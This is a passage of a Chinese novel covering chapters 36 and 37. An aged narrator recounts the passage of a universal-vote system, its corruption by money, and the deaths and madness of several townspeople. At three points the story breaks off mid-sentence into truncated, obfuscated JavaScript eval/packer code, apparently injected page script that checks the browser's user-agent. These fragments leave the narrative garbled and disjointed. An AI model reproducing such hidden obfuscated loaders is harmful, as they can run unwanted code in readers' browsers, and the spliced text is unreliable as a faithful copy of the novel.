就在将近九十高龄的年岁,我再次承担起了照料孙儿的责任。我像许多年前那样,在他身下铺开隔水的尿垫,防止他将床弄湿。而单单是抬起他大腿这一个动作,我便累得满头大汗,前前后后用了近半个钟才总算完成。解决了如厕,我又给他喂水。龙七乖巧地躺着,眼睛忽闪忽闪地眨,像只不谙世事的小狗。 可惜他如今已经不能言语,不然我实在好奇,他从天赋私权的唯一高级文明人,顷刻跌落为不能生活自理的原始动物,是怎样的心理感受? 毫无恶意,纯属好奇。 他似乎从表情里读懂了我的心思,默默向我翻了个白眼。 我则被他这可爱的举动逗笑,假牙都笑掉到地上。 管红军死了,死于一场桥梁建筑事故。 他的一生谨小慎微,为了心中潜藏的那个光复门楣的理想,他从不近女色,也不吃烟酒。一切堕落的或可能成瘾的事情,他从不尝试。无论是出于本心还是阴谋,他对于那些不如自己的人向来都是极其富有耐心和关怀的,因为他知道,在将来这些人必会成为支持他重登高位的力量。可是他等不到那一天了。 那座大桥建设于安化厂重修时期。从前的安化厂只有四四方方一小块地,后来随着孩子越生越多,人心中的欲望越来越大,人们不再满足于局限在这小小的天地。于是原本在安化厂以外,白海豚江对岸的土地便成为安化人开垦的首选。可白海豚江的河道太宽了,河水又过于湍急,于是人们只得集资修建了一座简单的桥。后来随着思想开放而飞黄腾达的管红军看到了民众的辛苦,他个人出资,政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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管红军的一生似乎都充斥着一种不为人知的、不易察觉的不幸。他自出生起便活在父母不切实际的期待里,背负着难以启齿的家族希望,压抑本性,披着伪装,像一个入戏的演员,沉浸地活在这世间。从没人在意过他的内心,他的欲望、他的恐惧、他终日以假面示人的疲惫,甚至连他自己都忘了,他究竟是个什么样的人。 他被迫迷失在鱼龙混杂的人间,而他早已习惯了这样扭曲的、压抑的生活,甚至都不曾为自己感到难过。 几百条生命的葬礼,在一个暴雨天,沉默地进行。 锋利如刀的大雨阻碍了安化人出门的脚步,就连这些生命的亲人也不例外。每一个想要踏出家门,前往葬礼吊唁的人,都在开门的瞬间被雨滴冷冷地割破了皮肤,鲜血还没来得及流出,下一道伤口已经裂开,人们只得紧闭大门。 唯独玫瑰。 这是她失去的第二任丈夫,她再次为自己没能真心实意地爱过这个男人而陷入深深的愧疚。只是这次她无法再像第一任丈夫英树那样,给管红军一个富丽堂皇的葬礼。 因为桥梁的突然垮塌,害死的不止管红军一个,还有另外几百条无辜生命。这么多条人命没了,总得有人出来负责,由于死无对证,当年只负责出资的管红军成了最理想的替罪羊。他和玫瑰的产业全部被政府冻结。或许是出于理亏,政府把他俩最初的那间舞厅和市区的一套旧房子留给了玫瑰。 宽阔的街道上,哀乐渐起,送灵的汽车在密如瀑布的暴雨中首尾相连,龟速前行。 一身麻衣的玫瑰,在锋利的雨滴里中一边忍耐着密密麻麻的疼痛,一边踉跄跟随。雨水在她衰败的容颜上,刻下一道道深刻的疤痕,她为此感到愉悦,□□的疼痛缓解了内心深处的悲恸。安化人从年久模糊的玻璃里看到,曾经风情万种的靠在红巷子奋斗了万贯真金白银的玫瑰,如今已然成为一个佝偻干瘪的老妇人。几天之前她尚可用风韵犹存来形容,今天却仿佛从垃圾回收箱里翻出来一般,饿狗看见都会绕开走。 而此刻的龙九正在娃娃编织的虚拟山野里,因长途奔跑而疲惫地躺进深草里晒太阳,蓝天、云朵、长毛的黄狗、叮咚的泉水声…… 玫瑰的白布麻衣很快被渗出的鲜血染透,先是深深浅浅的粉红,后来她仿佛穿了紫红的玫瑰长裙,凡所经过的土地,皆被抚摸如红绸铺过。 漫长的车队满载着浩浩荡荡的灵魂,从城南开往城北的墓地,从清晨一直持续到傍晚,最后一辆车才离开城区。 而在墓地的前车们却正在犯难,雨滴似细细密密的刀子,司机们都不敢下车将亡灵的骨灰盒放进墓坑里,他们在对讲机里彼此商议半天,最终决定,直接将这些盒子从车窗仍出去,至于它们选择落在哪里,那就听天由命了。 半个月后,雨过天晴,当人们闲来无事,来到墓地时,只看到几百只木头盒子已经四分五裂,看不出半点原本的模样,而本该在里面安静长眠的白色骨灰,也已经被大雨冲散,死去的人们以另一种更加均匀的方式,彼此交融在一起,铺陈在这片他们曾真实活过的土地上。 洗澡时,何曼珠从镜子里,看到自己侧腰的皮肤上,生出一块花生粒大小的灰褐色的斑,其颜色和曾经庄念秋的皮肤一模一样。她当即从抽屉里拿出剪刀,眼睛都不眨一下地亲手将那恶斑剪去,鲜血汩汩地从她身体流出,她淡定地取出药箱,为自己止血包扎。 「什么都别想阻碍我。」 36. 禁书 议会提案初审,全民票选的提案被推上讨论的高台。 九十五岁的古秀梅,脊背挺拔,她坐在一群三十几岁的年轻人中间,像一位暮年老矣的母亲,又像一位身经百战的女将军。她的同伴走上台去对提案进行解释和宣讲,而古秀梅坐在议会席里像一枚定海神针。可在无人关注的角落里,她内心却早已松动。她有孤注一掷的勇气,却失去了坚如磐石的信心。从资源危机引发头发危机,国家提出荒诞滑稽的剃头活动,而民众们竟然毫不反抗的顺从时,年迈的古秀梅,彻底意识到这群民众的愚昧。而她清晰地预知到自己已经支撑不到那个光明的时代。她毕生所追求的信念,最终也只是一个信念。 议会演说台上,年轻的同伴慷慨激昂地陈述着。坐在下面的谷秀梅,脑海中却分神想起了我曾经写给她的一首诗。在我过往写给她的九千九百多首诗歌里,这曾经是她极不喜欢的一首。她觉得既没有韵律,又过于刻意。而如今她却再次想起它。 不合法的 ——禁书《百年孤独》观后 他 没有枪 没有土地 没有愤怒的权利 没有宗教 没有理想 没有抗议和要求 没有摇滚 更没自由的诗 他除了有一张「选举票」 还在老大哥手里 此外一无所有 因为,章程上写着: 这是不合法的 随着提案的宣讲结束,反对的声音汹涌而至。 「权利归还人民,多么可笑的想法。你们这群提案者从未见识过真正的政治,所以怕是并不知道一个高位者的决策是有多么的复杂和艰难。你可曾设想过,当把一个国家的权利下放给一群无知的民众时,这个国家的走向和结局会是怎样的?我们这些人之所以要坐在这里举行这样的商讨会,提出有关于各行各业的提案,并对这些提案进行决议,可不是小孩子过家家。我们是在为这个国家、为这些民众而负责。全民票选,那我请问在你的全民票选当中,那些傻子、弱智、精神病患者、无民事责任能力的人,他们的选票你给还是不给?如果给了,他们手中选票的安全性,如何进行保障?我并非歧视,可一些无知的低能儿,他甚至连钱币的面值都认不清楚,你如何让他知道这张选票的分量和意义。」 反对者当中也是有不同的声音的。 「路边的野花野草,如果它不够美丽、没有价值,你是不会去理睬它的。可是当一味有用的中草药或者盛放的牡丹花摆在面前时,难保不会有人想要去夺取。你们的理念实在过于理想化。当手无缚鸡之力的普通民众手中握上了你所分给他的那被无限瓜分的权力之后,你能保证不会进一步加剧他们变成被压榨和剥削的对象吗?而在座的各位,你们又能保证自己不会成为那个可憎的压榨者吗?当你心中有了一个提案,需要获得足够多的支持,到时除合法的途径以外,灰色的途径必然会应运而生。金钱交换、权色引诱,甚至暴力胁迫。并非人人都有抵住诱惑的定力和反抗暴力的勇气。如果他正身患重病,急需拿钱买药呢;如果他的妻儿正在家嗷嗷待哺,他是心甘情愿把这张选票的权力让渡给别人呢?」 「我知道你们必然会反驳,但我仍然不得不提出怀疑,你们提出这道提案,难道真的仅仅是为了将权力还给人民吗?这当中未夹杂半点私心?或许是为了完成一个惊世骇俗的壮举、是渴望名留青史的野心,又或许暗自做着跨越阶级的美梦。要知道,像你们这样的人如果生在人类历史的其它时刻,怕是要被定义为煽动民心的异徒,给推上绞刑架了。」 「你污蔑!我们绝没有这样的私心。我们的提案是基于过往亲身、亲眼、亲耳经历的苦境才被提出的。你们口中所说的后果,皆只是凭空的假设和猜测。现在所能翻出的全民选举的例子也已经要追溯到一千多年以前,那时的混乱是基于当时的时代背景。如今的民众已经不似过往,你们口中的愚蠢与无知之徒,也不过是你们自以为是的傲慢和趾高气昂的蔑视。你们这些所谓的政仕家族,已经几百年没有睁开眼看过普通人的坚韧与智慧了。你们讲权力下放给他们或许会引致这个国家走向灭亡。那么我请问,这个国家掌握在你们这些极少数人手里,又有在慢慢变好吗?你前面所提到的金钱交易、权色引诱、暴力压迫的丑闻,在你们的领导下难道还少吗?难道非得让这个国家在你们的手里腐烂发臭,才想着去变革吗?是啊,我们推行全民票选,的确是有自己的私心,可在座诸位难道你们就不想吗?不想人类文明恒久地绵延下去、千秋万载生生不息。千古之后,你是想自己被后人钉在那耻辱柱上,还是被刻进纪念碑里?」 体系之内的信息是有其铜墙铁壁的,许多体系之外的普通人总以为在这铜墙之内的,皆是些口蜜腹剑的博弈高手,有着滔天的权力和波云诡谲的心思,弹指间便可翻云覆雨。一如官场小说里的赢家,或者武侠小说里的大侠,抑或修仙小说里的天选之子。 普通人不能跨越阶级,一是受限于自身的认知,二是内心对官商阶级的极度神化。殊不知,这群被权力高高架起的、西装革履的上等人,坐进议会的五角大厅时,彼此之间的争辩,比那菜市场门外泼妇吵架,高明不了多少。 议会的争吵还在继续。 「将权力释放给人民,难道就一定会被写进纪念碑吗?如若人民将这个国家葬送,那我们岂不就成了千古罪人?方才讲我们所说的皆是猜测与假设,那请问此时此刻你们所讲的又是什么呢?难道不是另一个天方夜谭吗?你说当今政府作为不正,那请问如今的国家是否有饿殍遍野、人民是否食不果腹衣不蔽体?在过往几千年的历史当中,人类曾无数次陷入饥饿和天灾的危机。可当今政府却始终没有让自己的人民沦落至此。难道这还不足以证明我们体制的正确性吗?归根到底,你们那为一己私利而美化出来的平等世界,不过是一个海市蜃楼的泡影。这世界的资源有限,是客观事实。而如果真的讲究绝对平等,辛勤劳作者和偷奸耍滑者获得相同的权利,有了权利之后,你当那群偷奸耍滑者会如何做呢?你认为当政者极少数人掌握着极多的资源是不平等的,可是谁又能体谅,政治家每日殚精竭虑为这个国家忧思的辛苦呢,这个位置如果真的人人都能坐,那过去几千年,聪明如我们的先辈,不早就实现了吗?还轮得到你们这群道貌岸然之徒。」 「历史上,我们的先辈从未停止过谋求一条实现全人类平等的道路。而我们如今所做就是在延续这条道路。地球是全人类的地球,国家也是全人民的国家。国家不该成为极少数人满足私欲的工具,更不该被据为己有、分而残食。」 众多议案争吵持续了半月。这群议员们如同勤恳的打工人,每日清晨梳妆整发,六七点从家中出发,八点准时到达议会大厅,落座便开始吵。中午准点暂停吃饭,下午继续。直到五点钟时间一到,和和气气地下班,上一秒还争得面红耳赤的两个人,每当分针与时针重合那刻,彼此瞬间气也消了,脸色也平和了,甚至手挽着手走出议会厅去。厅外偶然路过的人们,数千年来都被这种和颜悦色的表象所欺骗。 古秀梅又病倒了。 只不过这次生病是她用以逃避议会而撒的谎。九十多岁的古秀梅,忽然意识到自己已经没有了中年时的圆滑和激烈,她仿佛恍然间回到了扎着两条小麻花辫,穿着蓝白裙子,坐在教室的窗边,因为一朵云而走神的年纪。她的耳朵里听到,爱贪学生小便宜的数学老师卖弄地背起圆周率的一百位,却从第二十三位起就错得离谱。小小的古秀梅听出了老师的错误,却在看云和纠错之间,选择了默不作声地继续看云朵。就如同今天,古秀梅选择了撒谎生病,中途退出了议会。 这似乎与我最初看到的她的命运有出入,但我并不能十分肯定。从前我对自己的记忆是极富有信心的,如今我也九十多岁了,这是我第一次活到如此年长的年纪,也是我第一次感受到伴随人类老去,身体随之而来的老化腐朽。我的耳朵开始变得浑浊,眼睛也昏花模糊,牙齿陆续松动、掉落,如今只剩下两颗后牙和三颗门牙,勉强能吃一些馒头和青菜之类的食物,像肉类和水果这样有营养的东西,是万万吃不得了。 议会正吵得热烈的第十天。古秀梅忽然说想吃鲜肉的小馄饨,于是我时隔许久穿上陈旧的皮鞋和外套,拄着拐杖,一步两步慢慢地往街角的杂货店走去。这栋曾经见证了庄嫂卖烤红薯、独眼张和兰雪开理发店、管红军和玫瑰办交谊舞厅的小楼,如今被一个短发利落、戴着银丝眼镜的年轻人接管。 葬礼过后的玫瑰急速衰老,半个月后,在安化医院的普通病房里撒手人寰。她的死亡是缓慢而悠长的,日落时分,她深深凹陷的脸颊里兜满金色的余晖,浑浊的眼球里,目光已经涣散,病房里只剩她一人,空白的墙壁和房间,与曾经的铁皮房子大相径庭。她既没有怀念自己最充满活力的时刻,也没有再次陷入到对两任丈夫的愧疚里,她回到了年轻时唯一一次怀孕的晚秋,红房子的窄巷里,落叶纷纷,参与工作不久的她有诸多不适应,她感到对自己来自内心和身体的双重厌恶,年长的春樱带着爽朗笑声出现,手里拎着鲜熬的鸡汤,她作为同一工作系统下却从未打过照面的前辈,温情地拉过玫瑰稚嫩的手:「不害怕,就当是感冒了一场。」 这是玫瑰一生中最接近母亲的时刻。 曾经因为庄念秋而和玫瑰熟悉的南山,主动承担起为她操办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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古秀梅不紧不慢地下馄饨,这边煮着,另一边从橱柜里挑出三只红边瓷碗,碗底清水一冲洗,放紫菜、虾皮、味精、榨菜芯、一小抹猪油,馄饨恰好浮出水面,古秀梅先浅浅勾半勺热汤,送进碗里将猪油紫菜冲开,然后将大汤勺往铁锅里一转一舀,十几颗小馄饨就被拎出热水,趁热倒进碗里,撒一把嫩绿小葱花,香气瞬间翻出窗户,钻进我的鼻子里来。 「七崽儿,醒醒,咱爷俩回家吃饭去喽~」 龙七用黄色的小爪子,拨弄了两下眼睛,伸出舌头打了个长长的哈欠,然后开始舔我手心。 饭桌前,电视机里正在播报议会最近的商讨情况,头版是关于倡导制定文艺人员最低学历要求的提案。 小黄狗龙七坐在饭桌上,埋头苦吃,四条腿间的小肚子肉眼可见地圆润起来。古秀梅从自己碗中舀出两颗,送进他的碗里,又爱怜地抚摸起他毛茸茸的脑袋来。 我眼睛忽然亮起来:「我有一妙计,七崽儿这般的猫猫狗狗平日总会换毛,咱们可以多养几只,将他们退下来的毛发收集起来,做成假发,甚至还可以制作衣服,如此资源危机不就可以缓解了,还可以大赚一笔。」 古秀梅和龙七不约而同望向我,随即相视一笑。「瞧,你的好爷爷这是要将你当做摇钱树呢。」 「汪汪汪……」龙七奶声奶气地佯装表达着不满。 我也夹着嗓子和他对叫,「汪汪汪……」 古秀梅被逗得咯咯直笑。 这是这间老房子里许久未见的温情时刻。 在这样一个穷途末路的时代,个体纷纷被赋予伟大的使命,人们忙着纵欲、忙着发展、忙着活命,却忘了来这世上,是为了感受阳光、爱和四季烟火。城市里,甚至看不到一棵树,没有花草树木为坐标,春夏秋冬在这里荡然无存,人们守着毫无生机的数字,计算活过的每一天,去年和明天没区别,二十岁和三十岁没区别,活着和死了也没区别。看似鲜活的,已经枯萎了。 洗澡间里,何曼珠又绞下了一块灰斑,豆大的汗珠从她额角滚下,她面无表情。 她脑海中不断浮现出教堂婚礼金色的小米地里,形如枯槁的庄念秋,在众人沉迷喜悦之时,她曾与濒死的庄念秋有过一瞬的目光交接,而那个眼神,成为她挥之不去的梦魇。 梦魇,并非源自忏悔和愧疚,而是恐惧。 自认一生光鲜亮丽的何曼珠,是绝不允许自己变成那癞蛤蟆一般的恶心模样的。 边想着,她刚刚包扎的腰间,眼见着又生出一块变色的斑块,她手起剪刀落,咬牙将其剪下,涂碘伏纱布止血……这次还未包扎,又是一块灰斑从皮肤之下缓慢渗出,仿佛她的身体里有一条沸腾的灰褐色的河流,堤坝年久失修,河流横冲直撞着四处决堤,她站在洗澡间的镜子前,一块接一块地绞下自己的皮肤,而奇怪的是,一旦脱离她的身体,皮肤又渐渐变回原来的颜色。何曼珠低头盯着散落地面的肉色皮肤,忽然间感到天旋地转,身体飘忽着倒了下去。 37. 常清 何曼珠疯了。 抢救过来的她,总是逢人就神神秘秘地借剪刀,说是自己身上有脏东西要剪掉。众人不明所以,但也看到她身上没有脏东西,所以家家户户都把剪刀藏了起来,生怕被她寻了去。朴素纯良的安化厂民众,还是非常感念何曼珠为大家解决了空气危机的。为保护她,甚至许多人家自发买了保险箱,专门将剪刀锁起来。 她仍惦念着自己的政治愿景,每天除了借剪刀,便是往市政大楼跑,说是还有很多工作流程要批,群众们还等着她。市政大楼的保安总有看不住的时候,后来只得在楼里单独给她设了间办公室。新任市长的文件悉数都复印一份送到何曼珠那里,还给她配了特别助理。何曼珠照例废寝忘食地为民办公,只不过她批过的文件,转头都被助理送进了碎纸机。 除了批文件,她也总神叨叨地找助理借剪刀,助理自然也是不会有的。 新市长任她折腾,也不生气,极尽所能地包容。 众人都知晓二人的关系。 出乎古秀梅意料的是,全民票选制通过了。显然这也超出了我的意料,从这一刻开始,历史被改写了。 在我的原记录中,全民票选制再次被反对,人类坚定地沿袭着旧路,犹如跌入沼泽般,挣扎着陷入永远的黑夜。末日来得很平常,人们照常买早点、搭公车、去公园晨练、去写字楼办公,烘焙房里面包新鲜出炉、学校里孩子们在操场撒欢儿、出租车里的广播准时报道月日和天气、年轻的男女在商场里挑选着婚纱和喜糖……一块硕大的云朵遮蔽了太阳,人们以为是暴雨将至,嘴里吐槽了两句气象局的预报不准,手里继续忙着各自的事情,云朵越来越大,铺天盖地压下来,氧气似乎变得稀薄,打开风扇和空调,却收效甚微,皮肤开始刺痛、呼吸忽然困难,没有人意识到这就是末日,影视剧里轰轰烈烈地序言和篇章没有拉开,他们以为自己还有很多机会,却在分秒间,成为遍地死尸。一切细胞生物瞬间死去,树木、鱼虫、飞鸟、人类,地球陷入灰色的沉默,被轻薄的云层笼罩着,静谧而安宁。 那天,老年古秀梅原是要出门去粮食店买米的,我佯装感冒发冷,将她留在家里。她佝偻着背煮姜汤水,手上忙不停,嘴里念叨「你这老头子,越老越黏糊了,倘若哪天我先走了,怕是只晓得伸腿儿瞪眼了……」小黄狗龙七则欢快地一直围着她,在屋子里东跑西窜。床边的窗户里,那云朵就要压下来了,我赶紧撑起苍老的身体,颤巍巍地踱去厨房,为古秀梅左手绑上一条红绳,并紧紧握进自己手里。她不明所以,我叮嘱她: 「古秀梅同志,别忘了我,我还会再找到你的。」 云朵压向人间。 我兑现了此生最重要的承诺,在古秀梅死时,将她绑在了手里。 柳常青和龙四,两个站在傀儡身后的人,用钱色和威胁促成了全民票选制,而显然,这比古秀梅们的和平手段要高效得多。 权利回归人民,官员的任免也全由选举产生,柳常青无需委屈才能只当个幕后顾问,光明正大流程正确地、被十万张选票送上了市长的位子。 「十万市长」的标签,一夜之间将他钉在了各路媒体的头版,这背后自然也是他自己的推波助澜,人民的选择里又有几成是出自真心。但我之前也讲了,柳常青这孩子,心思不正,但表面功夫还是做的。这已经比许多体制内的蛀虫要强得多。在这点上,龙四远不如他。龙四也如愿被推进了□□里,坐的正是龙七之前的办公室。 为此,龙四临去首都上任前,特地跑回家来,拿着根骨头冲着小黄狗龙七,「嘬嘬嘬……」了半天,气得龙七一直想跳起来咬他的手,却无奈腿太短,摇着尾巴转了几十圈,愣是没碰到龙四的手指头。 他们兄弟们间的矛盾,无论大小,我和古秀梅素来是绝不干预的,只当看热闹的观众,血海深仇也任由他们自己解决。 柳常青当上市长,便开始发钱。他心里非常清楚,在安化城,这些钱兜兜转转总会回到他的口袋,但这可把安化人民给高兴坏了,曾因红气球引发的空气安全问题,而被周围省市避之不及的安化城,瞬间成了人人羡慕的好地方。 同心湖旁,时隔几十年搭建起舞台,戏班、乐队、演员,轮番被送上台表演,摇滚、舞蹈、歌剧、戏曲、相声、默剧……演出台旁,是柳常青守着堆成小山的红包,一个个地亲手将其递到安化人的手中。注定会回流的钱,给得自然也就大方,鼓鼓囊囊的红包,几乎令人人都喜上眉梢。 意外之财,花掉才算心安,拿到钱的人们转头便涌进了柳常青的百货大楼和智能购物系统,也有些钻进了管红军和玫瑰的舞厅和会所,只不过现在那里都已成了国家资产。精神和物质的消费,并没有高低贵贱之分。 柳常青的成功,让众多财富傍身的商贾看到了新的路径,本意为民的全民票选制,成为商贾们鲤鱼跃龙门的跳板。短短数月之间,各地涌现出无数的柳常青,十万市长、百万省长、千万部长,每一张选票背后都是真金白银的民意。 他们没有弄虚作假,民众们心甘情愿。 如同柳常青竞选演说时讲的:「我柳常青虽没读过几年书,但却是实打实从底层一步步奋斗到今天的,期间承蒙了些天机时运,从龙九先生那里接过了庞大的产业。我自幼无亲无故,如今四十有余也无妻无儿,这产业归根到底还是咱们安化城大家伙的。旁人坐在这个位置多少都有几分权野私心,权力必然牵扯金钱,而我拥有的财富显然比安化城政府的庞大得多。我并不擅长虚假的场面话,所以就如实说了,市长的位子无论给谁坐,都会成为一家之私,唯独我,也只有我,能摒弃私利而为大家办实事。」 金钱百姓官越来越多,商人本性里的贪婪也原形毕露。几个月后,也就是距离文明灭亡还有两年六个月时,第一封匿名要求全民选举新统帅的议案就被提交给了议会,有了第一封,很快也有了第二封、第三封…… 盘根错节了几百年的政仕家族,终于来到了被动摇的时刻。 热心政治的民众们奔走相告,财富充盈的商人们则摩拳擦掌,而更多的是像我这样事不关己的普通人,每天为了一日三餐已经耗尽全部力气,虽然中午和晚饭也会碰巧打开几次新闻频道,但却同酒肉穿肠过般,根本无暇顾及其中的伟大历史意义。 我最是无法理解两类专家,政治和经济。电视节目里的论坛会议中,他们总是面如猪油、鼻子上如出一辙地趴着一副金丝眼镜,饱满的肚子恨不得将衬衫的扣子绷出观众席去。他们嘴里总充斥着各种冠冕堂皇的数据、使命、必然性、群体利益。可事实却是,真正庞大的群体们,最终流离失所、食不果腹。我时常想,总共不足万年的人类文明历史上,人民想要的也不过是安居乐业有饭吃有衣穿,可就是这样最简单朴素的要求,怎么就成了政治家和经济学家嘴中最艰巨的天堑之路,一万年也没能真正实现。朱门酒肉臭、路有冻死骨,何不食肉糜,或许,难的从来不是实现群体公平,而在于人基因里的贪婪、自私、虚伪、欲念,是杀不尽的。 像我这样的文化人也不说有多光明磊落。一群只晓得咬文嚼字的家伙,随便三两个文字,总是乐于附加各种阳春白雪的寓意,饱读史书,怎会不知如今世间混乱之麻木,却只敢隐晦出言,到底还是贪图一时生命、荣誉光景。我为自己感到可耻。 实事求是的讲,也并非所有政治、文化领域的人都是腌臜的,每百年里大约会出一两个真正有风骨的君子,名留史册。 梁露和庄立春登记结婚,庄立春定下公证书,无论此后是否再有孩子,自己所有财产都将给儿子庄天赐继承。梁露捧着公证书,依偎在他怀里笑靥如花。聪明如庄立春,竟丝毫未觉察梁露和小牛的偷情,着实有些可笑可悲。 议会那边,新统帅的竞选如火如荼,各地商人豪掷千万金收买选票,私相授受的灰色交易,俨然已经成了明目张胆的买卖。柳常青安分守着安化城,忙于每天给市民发钱、全民致富的政治理想,而自愿缺席了这场如同末日狂欢般的选举。 中央政府大楼里,中年黄豆豆的身旁,站着一个清瘦白净、书卷气质的年轻人。 「外头的选举闹得可谓锣鼓喧天,眼见顶头那几个选票势头迅猛,您却毫无动作,就真的不担心吗?」 「我在选举名单里吗?」 「在。」 「在,就无需担心。鹤之,你在学校读过许多书,但这人心可比书里要容易得多,你别把这群人民想得太复杂。金钱选举这事儿,如果少于三方势力竞争,那我们显然是要出局的,但当候选人像现在这样超过了二十个,就好比那边是热闹的戏台,一天两天看个稀罕,三天四天就有点疲了,不出一个月,戏台下面就空了。说到底,老百姓的生活是柴米油盐过日子,不是看耍猴表演节目。」 「人具有群体趋同心理,难保他们不会拥护自己阶层的同类。」 「对强者极度包容,对底层者却极致的苛刻,在强者的身上拿着放大镜找优点,却在弱者的身上吹毛求疵地挑毛病。这才是我们的人民。你知道,从政者的第一要义是什么吗?」 沈鹤之似懂非懂地摇头,「不知道。」 「宁可少做,不可出错。咱们这圈子里,最难弄的从来不是下面那几亿张只晓得吃饭的嘴,而是身旁这群豺狼虎豹。如今我在名单上,且等他们自己折腾,先是钱色收买,再就是互泼脏水、将来或许还会有更非常的手段,那是现在的你无法想象的。我们只需要在他们彼此狰狞着拖入泥潭时,安静地、一身洁净地出现在岸边,效果便胜过一切了。选举从来都不是选最好的,这些人民或许并不懂这句话,但却一定会如此践行,有血性的人早已在战争中死绝了,留下一群谨小慎微的后代,商人们引以为筹码的荣华富贵其实于他们而言反而是次要,他们不需要豪言壮志、大刀阔斧的改革家,而需要一个能带领他们缓慢而安静地走进坟墓的庸人,你的表叔我就是这样的庸人。」 「怎么会有人不想过更好的日子呢?」 「所以我讲,你把他们想得太复杂了,有没有一种可能,对他们而言,日子从来没有好坏之分,他们想要的是一成不变,被压榨也好、被保护也好、清苦也好、富贵也好,都没分别,只要别折腾,就是最好的。当有人向他们许诺,抗争就会有更光明的未来,他们却想的是,枪打出头鸟,自己才不要成为早亡的鸟,宁愿做苟活的老鼠,他们的人生没什么意义可言,却赖皮地想活得天长地久。鹤之,你不要深思他们为何这样想,这种低等的思考于身心无益,你只需要知道他们是怎么想的,并顺势而为,如此,即使将来全民票选制一直存在,我的这个位置也会是你的。」 沈鹤之俨然是又一个年轻的黄豆豆。 海棠树下。 古秀梅坐在摇椅里,戴着老花眼镜认真地扒报刊上的小字。是龙四的新文章,开篇第一句振聋发聩:无能狂怒是无用的,但愤怒是有用的,因为愤怒可以被看见。并非所有的情绪爆发都是愤怒,挥刀向弱者,是霸凌,挥刀向强者才是愤怒。这出自龙四的陌生文笔,印证了古妙心与龙七讲的那番话,龙七和龙四也不过都是一枚棋子,他们以为自己是仗义执言的侠士,却不曾清醒地觉察,这些极其具有煽动性的句子能被释放出来,本身就是经过黄豆豆默许的。 蜷在她怀里的龙七也读懂了文章的表意,这种鼓励人以下犯上的言论,自然是不能被龙七这样的天选之子所认同,他连声狂吠以示抗议,但很快被我一巴掌拍下,他委屈非常但也只能乖乖息声。我正预备语言教导他,远方的天空飞来一只雪白的大鸟,直到她靠近些,我和古秀梅才恍然看清,来的正是云朵。 她的寿命接近尽头,此次独自上路,是为回安化厂来道别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄豆豆果然在大选中获胜,一众商人瞬间垂头丧气,数以万亿计的真金白银犹如竹篮打水,商人们心中慢慢滋生不满,转而各地纷纷物价飞涨、薪酬骤减。这是恼羞成怒的商人们的报复,虽然拙劣,但效果立竿见影。 昂贵的粮食和微薄的收入,这何尝不是另一种谋杀。没出几个月,那些政治失利的富商们盘踞的城市里面的人民,便开始因为忍耐不住昂贵的物价而纷纷转向周边的城市购买。偏安一隅的柳长青领导着的安化城很快就成了被涌入的对象。商人们用金钱和利益控制低层的掌权者,非常快速地省市之间迅速搭建起厚实的贸易壁垒。城市与城市之间设立了流通税,一切跨城买卖都需要额外支付高昂的税费。 如此荒唐的毫不利己的流通税,在短短的两周期间,在议会立案、投票、公示、通过。其正是得益于古秀梅曾竭力推行的全民票选制。而这项制度也果然如当时的反对者们陈词的那样,沦为了金钱和权利的腐败工具。 而向来秉承着绝不干预票选、公平公正的古妙心,坐在流通税通过之时的五角大厅里,思绪纷杂。她回想起自己和黄豆豆、龙七,被沙达康领进中央政府大楼地下五层的那个下午。二十多岁的她,站在密密麻麻的档案前,被写在里面的数以千万计的名字如今早已消失在了历史的长河当中,而因为其思想和信念,他们的名字被永远留存。或许在当前的时代,他们是作为反面教材被隐秘的匿藏在这间空旷的地下室里,但这不也恰恰说明了,他们的思想是多么的尖锐和正确,所以才被忌惮。无论沙达康当年说的那些话是出于何种用意,对于古妙心而言,她只认同那层表意,那就是,只有她不计一切地往上爬,站到最高位置才可以实现心中的理想。如今的她站到了议会委员的位置。她原以为自己可以作为一个有良心的政客,凭一己之力肃清风气,却发现,老虎和苍蝇驱散不尽,他们有惊人的关系网络和繁殖能力。越是清除,越是茂密。 古妙心的一生与古秀梅何其相似,或许是出自裙带的血缘基因,她们终生都在为自己的理想奔走、战斗。她们来不及关心四季变化、柴米油盐,甚至爱情和婚姻,都更像是在挑选战友,而不是温存的爱人,一切深刻的情感纽带、生离死别,在她们眼中,都是可以转瞬即逝的。就算我是个历经人间沧桑的记录者,见过无数惊世骇俗的惨剧和狂喜,仍禁不住感叹古妙心和古秀梅强大的处变不惊的能力。 而且,她们都鲜少流露出脆弱和温柔,就好像两人生来皮囊之外就有一副铠甲,百毒不侵、坚不可摧。可,是人就有一颗血肉心脏,七情六欲,肉心怎可能不会痛呢,何况她们还是天赋里多愁善感的女子。说到这里,我不免生出对两人的敬佩之情,自古以来,女子想要取得和男人同样的成就,都是要付出千百倍的努力的。 百折不挠也是她们的共性。 流通税通过后,不多时日,民众便怨声载道。古秀梅借机向最高议会提出议案,要求严查票商勾结的情况,对于买卖选票的行为严查甚至量刑。 古妙心显然对议案事先知晓。 古秀梅站在五角大厅:「全民票选制从来不是一劳永逸,就如同任何政体下,都是需要管理和监督的,全民票选也不例外。将权利释放到每位民众的手中,也就意味着增加和落实了人民的监督权,有了更广泛的基层监督,政府的权力滥用才会被遏制,这才是全民票选政体的意义。我们的人民许多都是第一次参与到国家的管理和监督当中,又是作为全新政体,难免会有走岔路的时候,好在我们国家身处一马平川的平原,走岔路从不可怕,只要及时调整方向,最终回到正途,就为时不晚。而那些荒诞的小丑一般的苍蝇、老虎,也必将在人民的监督下,悉数落网。我可爱的青年同志们,请相信,未来一定是光明的。」 瞧呐,古秀梅已经一百岁了,她还是那么天真且坚定地相信,我们终将迎来一个光明的世界。 太阳之后是月亮,光明之前是黑暗。 